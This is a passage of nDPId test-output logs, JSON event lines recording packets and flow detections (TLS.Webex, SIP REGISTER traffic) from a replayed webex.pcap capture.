+00410{"flow_id":27,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":570,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570645,"pkt_ts_usec":701285,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAhtAABAGFrtyHdXUCggAAQG7ox2Q5KARbxtgMFAR\/\/+4vgAA"} +00407{"flow_id":28,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":571,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570645,"pkt_ts_usec":703037,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoYQ5AAEAGkWoKCAABch3MMcncAbvjbaM+HJJdAlAROQhimwAA"} +00410{"flow_id":28,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":572,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570645,"pkt_ts_usec":703674,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAhxAABAGIF1yHcwxCggAAQG7ydwckl0C422jP1AQ\/\/+bowAA"} +00410{"flow_id":28,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":573,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570645,"pkt_ts_usec":704812,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAh1AABAGIFxyHcwxCggAAQG7ydwckl0C422jP1AR\/\/+bogAA"} +00407{"flow_id":29,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":574,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570645,"pkt_ts_usec":705710,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoS5NAAEAGO44KCAABQERpYpETAbtLyIi5tDd3h1AROQgwDQAA"} +00410{"flow_id":29,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":575,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570645,"pkt_ts_usec":707226,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAh5AABAGtQNARGliCggAAQG7kRO0N3eHS8iIulAQ\/\/9pFQAA"} +00410{"flow_id":29,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":576,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570645,"pkt_ts_usec":707930,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAh9AABAGtQJARGliCggAAQG7kRO0N3eHS8iIulAR\/\/9pFAAA"} +01271{"flow_id":24,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":577,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570648,"pkt_ts_usec":682328,"pkt_caplen":698,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":698,"pkt_l4_len":664,"pkt":"ABoRAAACABoRAAABCABFAAKsAABAAEARgN0KCAABrBABS\/waE8QCmKnIUkVHSVNURVIgc2lwOjE3Mi4xNi4xLjc1O3RyYW5zcG9ydD1VRFAgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxMC4xMzMuMjA2LjQ3OjY0NTM4O2JyYW5jaD16OWhHNGJLLTUyNDI4Ny0xLS0tM2U0Njk4NjE4Y2ZiMmI3MztycG9ydA0KTWF4LUZvcndhcmRzOiA3MA0KQ29udGFjdDogPHNpcDo0NTE5MUAxMC4xMzMuMjA2LjQ3OjY0NTM4O3JpbnN0YW5jZT03YTQ2ZjFlMTI3MDJlN2ZiO3RyYW5zcG9ydD1VRFA+DQpUbzogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPg0KRnJvbTogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPjt0YWc9ZDM4MzM3NjcNCkNhbGwtSUQ6IEtvcExUdzl4c19sRXBDdGlQYTA3YlEuLg0KQ1NlcTogNCBSRUdJU1RFUg0KRXhwaXJlczogNjANCkFsbG93OiBJTlZJVEUsIEFDSywgQ0FOQ0VMLCBCWUUsIE5PVElGWSwgUkVGRVIsIE1FU1NBR0UsIE9QVElPTlMsIElORk8sIFNVQlNDUklCRQ0KU3VwcG9ydGVkOiByZXBsYWNlcywgbm9yZWZlcnN1YiwgZXh0ZW5kZWQtcmVmZXIsIHRpbWVyLCBvdXRib3VuZCwgcGF0aCwgWC1jaXNjby1zZXJ2aWNldXJpDQpVc2VyLUFnZW50OiBab2lwZXIgcjMzNjg4DQpBbGxvdy1FdmVudHM6IHByZXNlbmNlLCBrcG1sDQpDb250ZW50LUxlbmd0aDogMA0KDQo="} +00407{"flow_id":30,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":578,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570652,"pkt_ts_usec":359038,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoc3pAAEAGE6IKCAABQERpZ6GyAbtpybDOljZPclAROQgfaQAA"} +00410{"flow_id":30,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":579,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570652,"pkt_ts_usec":360180,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAiBAABAGtPxARGlnCggAAQG7obKWNk9yacmwz1AQ\/\/9YcQAA"} +00410{"flow_id":30,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":580,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570652,"pkt_ts_usec":361105,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAiFAABAGtPtARGlnCggAAQG7obKWNk9yacmwz1AR\/\/9YcAAA"} +01271{"flow_id":24,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":581,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570652,"pkt_ts_usec":714935,"pkt_caplen":698,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":698,"pkt_l4_len":664,"pkt":"ABoRAAACABoRAAABCABFAAKsAABAAEARgN0KCAABrBABS\/waE8QCmKnIUkVHSVNURVIgc2lwOjE3Mi4xNi4xLjc1O3RyYW5zcG9ydD1VRFAgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxMC4xMzMuMjA2LjQ3OjY0NTM4O2JyYW5jaD16OWhHNGJLLTUyNDI4Ny0xLS0tM2U0Njk4NjE4Y2ZiMmI3MztycG9ydA0KTWF4LUZvcndhcmRzOiA3MA0KQ29udGFjdDogPHNpcDo0NTE5MUAxMC4xMzMuMjA2LjQ3OjY0NTM4O3JpbnN0YW5jZT03YTQ2ZjFlMTI3MDJlN2ZiO3RyYW5zcG9ydD1VRFA+DQpUbzogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPg0KRnJvbTogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPjt0YWc9ZDM4MzM3NjcNCkNhbGwtSUQ6IEtvcExUdzl4c19sRXBDdGlQYTA3YlEuLg0KQ1NlcTogNCBSRUdJU1RFUg0KRXhwaXJlczogNjANCkFsbG93OiBJTlZJVEUsIEFDSywgQ0FOQ0VMLCBCWUUsIE5PVElGWSwgUkVGRVIsIE1FU1NBR0UsIE9QVElPTlMsIElORk8sIFNVQlNDUklCRQ0KU3VwcG9ydGVkOiByZXBsYWNlcywgbm9yZWZlcnN1YiwgZXh0ZW5kZWQtcmVmZXIsIHRpbWVyLCBvdXRib3VuZCwgcGF0aCwgWC1jaXNjby1zZXJ2aWNldXJpDQpVc2VyLUFnZW50OiBab2lwZXIgcjMzNjg4DQpBbGxvdy1FdmVudHM6IHByZXNlbmNlLCBrcG1sDQpDb250ZW50LUxlbmd0aDogMA0KDQo="} +01271{"flow_id":24,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":582,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570656,"pkt_ts_usec":700925,"pkt_caplen":698,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":698,"pkt_l4_len":664,"pkt":"ABoRAAACABoRAAABCABFAAKsAABAAEARgN0KCAABrBABS\/waE8QCmKnIUkVHSVNURVIgc2lwOjE3Mi4xNi4xLjc1O3RyYW5zcG9ydD1VRFAgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxMC4xMzMuMjA2LjQ3OjY0NTM4O2JyYW5jaD16OWhHNGJLLTUyNDI4Ny0xLS0tM2U0Njk4NjE4Y2ZiMmI3MztycG9ydA0KTWF4LUZvcndhcmRzOiA3MA0KQ29udGFjdDogPHNpcDo0NTE5MUAxMC4xMzMuMjA2LjQ3OjY0NTM4O3JpbnN0YW5jZT03YTQ2ZjFlMTI3MDJlN2ZiO3RyYW5zcG9ydD1VRFA+DQpUbzogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPg0KRnJvbTogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPjt0YWc9ZDM4MzM3NjcNCkNhbGwtSUQ6IEtvcExUdzl4c19sRXBDdGlQYTA3YlEuLg0KQ1NlcTogNCBSRUdJU1RFUg0KRXhwaXJlczogNjANCkFsbG93OiBJTlZJVEUsIEFDSywgQ0FOQ0VMLCBCWUUsIE5PVElGWSwgUkVGRVIsIE1FU1NBR0UsIE9QVElPTlMsIElORk8sIFNVQlNDUklCRQ0KU3VwcG9ydGVkOiByZXBsYWNlcywgbm9yZWZlcnN1YiwgZXh0ZW5kZWQtcmVmZXIsIHRpbWVyLCBvdXRib3VuZCwgcGF0aCwgWC1jaXNjby1zZXJ2aWNldXJpDQpVc2VyLUFnZW50OiBab2lwZXIgcjMzNjg4DQpBbGxvdy1FdmVudHM6IHByZXNlbmNlLCBrcG1sDQpDb250ZW50LUxlbmd0aDogMA0KDQo="} +01271{"flow_id":24,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":583,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570660,"pkt_ts_usec":729371,"pkt_caplen":698,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":698,"pkt_l4_len":664,"pkt":"ABoRAAACABoRAAABCABFAAKsAABAAEARgN0KCAABrBABS\/waE8QCmKnIUkVHSVNURVIgc2lwOjE3Mi4xNi4xLjc1O3RyYW5zcG9ydD1VRFAgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxMC4xMzMuMjA2LjQ3OjY0NTM4O2JyYW5jaD16OWhHNGJLLTUyNDI4Ny0xLS0tM2U0Njk4NjE4Y2ZiMmI3MztycG9ydA0KTWF4LUZvcndhcmRzOiA3MA0KQ29udGFjdDogPHNpcDo0NTE5MUAxMC4xMzMuMjA2LjQ3OjY0NTM4O3JpbnN0YW5jZT03YTQ2ZjFlMTI3MDJlN2ZiO3RyYW5zcG9ydD1VRFA+DQpUbzogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPg0KRnJvbTogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPjt0YWc9ZDM4MzM3NjcNCkNhbGwtSUQ6IEtvcExUdzl4c19sRXBDdGlQYTA3YlEuLg0KQ1NlcTogNCBSRUdJU1RFUg0KRXhwaXJlczogNjANCkFsbG93OiBJTlZJVEUsIEFDSywgQ0FOQ0VMLCBCWUUsIE5PVElGWSwgUkVGRVIsIE1FU1NBR0UsIE9QVElPTlMsIElORk8sIFNVQlNDUklCRQ0KU3VwcG9ydGVkOiByZXBsYWNlcywgbm9yZWZlcnN1YiwgZXh0ZW5kZWQtcmVmZXIsIHRpbWVyLCBvdXRib3VuZCwgcGF0aCwgWC1jaXNjby1zZXJ2aWNldXJpDQpVc2VyLUFnZW50OiBab2lwZXIgcjMzNjg4DQpBbGxvdy1FdmVudHM6IHByZXNlbmNlLCBrcG1sDQpDb250ZW50LUxlbmd0aDogMA0KDQo="} +01272{"flow_id":24,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":584,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570664,"pkt_ts_usec":697173,"pkt_caplen":698,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":698,"pkt_l4_len":664,"pkt":"ABoRAAACABoRAAABCABFAAKsAABAAEARgN0KCAABrBABS\/waE8QCmKnIUkVHSVNURVIgc2lwOjE3Mi4xNi4xLjc1O3RyYW5zcG9ydD1VRFAgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxMC4xMzMuMjA2LjQ3OjY0NTM4O2JyYW5jaD16OWhHNGJLLTUyNDI4Ny0xLS0tM2U0Njk4NjE4Y2ZiMmI3MztycG9ydA0KTWF4LUZvcndhcmRzOiA3MA0KQ29udGFjdDogPHNpcDo0NTE5MUAxMC4xMzMuMjA2LjQ3OjY0NTM4O3JpbnN0YW5jZT03YTQ2ZjFlMTI3MDJlN2ZiO3RyYW5zcG9ydD1VRFA+DQpUbzogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPg0KRnJvbTogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPjt0YWc9ZDM4MzM3NjcNCkNhbGwtSUQ6IEtvcExUdzl4c19sRXBDdGlQYTA3YlEuLg0KQ1NlcTogNCBSRUdJU1RFUg0KRXhwaXJlczogNjANCkFsbG93OiBJTlZJVEUsIEFDSywgQ0FOQ0VMLCBCWUUsIE5PVElGWSwgUkVGRVIsIE1FU1NBR0UsIE9QVElPTlMsIElORk8sIFNVQlNDUklCRQ0KU3VwcG9ydGVkOiByZXBsYWNlcywgbm9yZWZlcnN1YiwgZXh0ZW5kZWQtcmVmZXIsIHRpbWVyLCBvdXRib3VuZCwgcGF0aCwgWC1jaXNjby1zZXJ2aWNldXJpDQpVc2VyLUFnZW50OiBab2lwZXIgcjMzNjg4DQpBbGxvdy1FdmVudHM6IHByZXNlbmNlLCBrcG1sDQpDb250ZW50LUxlbmd0aDogMA0KDQo="} +01272{"flow_id":24,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":585,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570668,"pkt_ts_usec":729335,"pkt_caplen":698,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":698,"pkt_l4_len":664,"pkt":"ABoRAAACABoRAAABCABFAAKsAABAAEARgN0KCAABrBABS\/waE8QCmKnIUkVHSVNURVIgc2lwOjE3Mi4xNi4xLjc1O3RyYW5zcG9ydD1VRFAgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxMC4xMzMuMjA2LjQ3OjY0NTM4O2JyYW5jaD16OWhHNGJLLTUyNDI4Ny0xLS0tM2U0Njk4NjE4Y2ZiMmI3MztycG9ydA0KTWF4LUZvcndhcmRzOiA3MA0KQ29udGFjdDogPHNpcDo0NTE5MUAxMC4xMzMuMjA2LjQ3OjY0NTM4O3JpbnN0YW5jZT03YTQ2ZjFlMTI3MDJlN2ZiO3RyYW5zcG9ydD1VRFA+DQpUbzogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPg0KRnJvbTogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPjt0YWc9ZDM4MzM3NjcNCkNhbGwtSUQ6IEtvcExUdzl4c19sRXBDdGlQYTA3YlEuLg0KQ1NlcTogNCBSRUdJU1RFUg0KRXhwaXJlczogNjANCkFsbG93OiBJTlZJVEUsIEFDSywgQ0FOQ0VMLCBCWUUsIE5PVElGWSwgUkVGRVIsIE1FU1NBR0UsIE9QVElPTlMsIElORk8sIFNVQlNDUklCRQ0KU3VwcG9ydGVkOiByZXBsYWNlcywgbm9yZWZlcnN1YiwgZXh0ZW5kZWQtcmVmZXIsIHRpbWVyLCBvdXRib3VuZCwgcGF0aCwgWC1jaXNjby1zZXJ2aWNldXJpDQpVc2VyLUFnZW50OiBab2lwZXIgcjMzNjg4DQpBbGxvdy1FdmVudHM6IHByZXNlbmNlLCBrcG1sDQpDb250ZW50LUxlbmd0aDogMA0KDQo="} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":586,"source":"webex.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1444570669736,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.224.120","src_port":51154,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":586,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570669,"pkt_ts_usec":736143,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA80OhAAEAGQOUKCAABPm3geMfSAbvlsh8HAAAAAKACOQhHhwAAAgQFtAQCCAoATM\/vAAAAAAEDAwY="} +00409{"flow_id":36,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":587,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570669,"pkt_ts_usec":745196,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAiJAABAGP8A+beB4CggAAQG7x9IaTeD45bIfCFAS\/\/+9VQAA"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":588,"source":"webex.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1444570669745,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.224.120","src_port":51155,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":588,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570669,"pkt_ts_usec":745822,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8QwJAAEAGzssKCAABPm3geMfTAbvSW4ztAAAAAKACOQjs9gAAAgQFtAQCCAoATM\/vAAAAAAEDAwY="} +00409{"flow_id":37,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":589,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570669,"pkt_ts_usec":760020,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAiNAABAGP78+beB4CggAAQG7x9MtpHMS0luM7lAS\/\/+9VAAA"} +00407{"flow_id":36,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":590,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570669,"pkt_ts_usec":760287,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo0OlAAEAGQPgKCAABPm3geMfSAbvlsh8IGk3g+VAQOQiETgAA"} +00493{"flow_id":36,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":591,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570669,"pkt_ts_usec":760654,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABn0OpAAEAGQLgKCAABPm3geMfSAbvlsh8IGk3g+VAYOQh66wAAFgMBADoBAAA2AwE1744IWto6M0QCtsjP9fOG23xHxlWSJd969XnKXp6XHQAABAA1AP8BAAAJACMAAAAPAAEB"} +00732{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":591,"source":"webex.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":4,"flow_first_seen":1444570669736,"flow_last_seen":1444570669760,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.224.120","src_port":51154,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":36,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":592,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570669,"pkt_ts_usec":761708,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAiRAABAGP74+beB4CggAAQG7x9IaTeD55bIfR1AQ\/\/+9FwAA"} +00407{"flow_id":37,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":593,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570669,"pkt_ts_usec":762448,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoQwNAAEAGzt4KCAABPm3geMfTAbvSW4zuLaRzE1AQOQiETQAA"} +00494{"flow_id":37,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":594,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570669,"pkt_ts_usec":762590,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABnQwRAAEAGzp4KCAABPm3geMfTAbvSW4zuLaRzE1AYOQhN4wAAFgMBADoBAAA2AwE4pMre7\/gDNHFUYUtdH4I+oIdCvO8Q22rK5cuvc6RHAwAABAA1AP8BAAAJACMAAAAPAAEB"} +00732{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":594,"source":"webex.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":4,"flow_first_seen":1444570669745,"flow_last_seen":1444570669762,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.224.120","src_port":51155,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":37,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":595,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570669,"pkt_ts_usec":763196,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAiVAABAGP70+beB4CggAAQG7x9MtpHMT0luNLVAQ\/\/+9FgAA"} +00407{"flow_id":31,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":596,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570670,"pkt_ts_usec":369848,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAotG1AAEAGXXQKCAABPm3geMe+AbssX3Cw06CPkFAROQiEIgAA"} +00410{"flow_id":31,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":597,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570670,"pkt_ts_usec":370331,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAiZAABAGP7w+beB4CggAAQG7x77ToI+QLF9wsVAQ\/\/+9KgAA"} +00410{"flow_id":31,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":598,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570670,"pkt_ts_usec":371970,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAidAABAGP7s+beB4CggAAQG7x77ToI+QLF9wsVAR\/\/+9KQAA"} +00408{"flow_id":32,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":599,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570670,"pkt_ts_usec":373481,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo2ZhAAEAGOEkKCAABPm3geMe\/Abvolh3LF2nidVAROQiEIQAA"} +00410{"flow_id":32,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":600,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570670,"pkt_ts_usec":373698,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAihAABAGP7o+beB4CggAAQG7x78XaeJ16JYdzFAQ\/\/+9KQAA"} 